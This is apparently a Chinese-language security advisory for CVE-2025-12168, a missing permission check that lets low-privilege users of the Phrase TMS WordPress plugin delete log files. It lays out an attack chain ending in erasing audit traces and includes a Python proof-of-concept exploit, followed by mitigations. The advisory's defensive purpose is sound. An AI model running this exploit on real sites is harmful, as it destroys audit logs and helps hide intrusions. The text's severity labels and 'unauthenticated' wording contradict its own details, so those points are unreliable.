CVE-2025-12168 WordPress Phrase TMS插件越权删除日志漏洞

漏洞信息

漏洞编号

CVE-2025-12168

漏洞类型

越权漏洞

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Phrase TMS Integration for WordPress

漏洞概述

CVE-2025-12168是WordPress平台Phrase TMS Integration插件中的一个高危安全漏洞。该插件用于与Phrase翻译管理系统集成，在所有版本直至4.7.5都存在严重的安全缺陷。漏洞根源在于插件的AJAX处理端点'wp_ajax_delete_log'缺少适当的权限验证机制，任何已认证用户（包括最低权限的Subscriber订阅者级别用户）都可以调用该端点执行日志文件删除操作。由于该端点直接处理文件系统操作且未验证用户权限，攻击者可以构造恶意请求删除服务器上的日志文件，可能影响系统审计追踪、干扰安全监控，并可能利用日志删除进行进一步的攻击掩盖。此漏洞CVSS评分4.3，属于中等严重程度，但考虑到WordPress的广泛使用以及日志文件对安全审计的重要性，该漏洞仍需及时修复。

技术细节

该漏洞属于典型的WordPress AJAX端点权限控制缺陷。在WordPress插件开发中，AJAX处理器通常使用wp_ajax_钩子注册，但开发者必须自行实现权限检查。Phrase TMS Integration插件的'wp_ajax_delete_log'端点存在以下问题：1) 未使用current_user_can()或同等权限检查函数验证请求者身份；2) 未验证用户角色是否具有管理选项或删除日志的权限；3) 直接接受用户传入的参数进行文件操作，存在路径遍历风险；4) 缺少CSRF令牌验证。由于WordPress的Subscriber角色默认只具有阅读内容的权限，无法访问管理后台，但AJAX端点绕过了这一限制，使得低权限用户可以执行特权操作。攻击者只需构造POST请求到wp-admin/admin-ajax.php，设置action参数为'delete_log'，即可触发漏洞。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标网站使用WordPress CMS，并确认安装了Phrase TMS Integration插件版本<=4.7.5

STEP 2

步骤2: 获取低权限账户

攻击者注册为订阅者用户或利用现有低权限账户（如Subscriber角色），获取有效的WordPress认证会话

STEP 3

步骤3: 构造恶意请求

攻击者构造POST请求到wp-admin/admin-ajax.php，设置action参数为'delete_log'，绕过权限检查

STEP 4

步骤4: 执行日志删除

服务器端接收到请求后，由于缺少current_user_can()权限验证，直接执行日志文件删除操作

STEP 5

步骤5: 清除攻击痕迹

攻击者可能批量删除日志文件以干扰安全审计、掩盖之前的攻击行为或造成DoS

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-12168 PoC - WordPress Phrase TMS Integration Unauthenticated Log Deletion
# Description: Missing authorization check on wp_ajax_delete_log AJAX endpoint

target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com'
username = 'subscriber_user'  # Low-privilege user account
password = 'user_password'

session = requests.Session()

# Step 1: Authenticate with WordPress
login_url = f'{target_url}/wp-login.php'
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}

session.post(login_url, data=login_data)

# Step 2: Exploit the vulnerability - Delete log files via AJAX endpoint
ajax_url = f'{target_url}/wp-admin/admin-ajax.php'
exploit_data = {
    'action': 'delete_log',
    'log_id': '1'  # Target log file ID
}

response = session.post(ajax_url, data=exploit_data)

print(f'Status Code: {response.status_code}')
print(f'Response: {response.text}')

if response.status_code == 200:
    print('[+] Exploit sent successfully - Log file may be deleted')
else:
    print('[-] Exploit failed - Check credentials and target')

影响范围

Phrase TMS Integration for WordPress <= 4.7.5

防御指南

临时缓解措施

在官方补丁发布前，可通过以下方式临时缓解：1) 使用WordPress安全插件限制非管理员用户的AJAX访问；2) 在主题functions.php中添加临时权限检查代码；3) 临时禁用或重命名问题AJAX端点；4) 加强日志文件目录权限控制，限制Web服务器用户对日志目录的写权限；5) 启用Web应用防火墙规则监控异常的AJAX请求。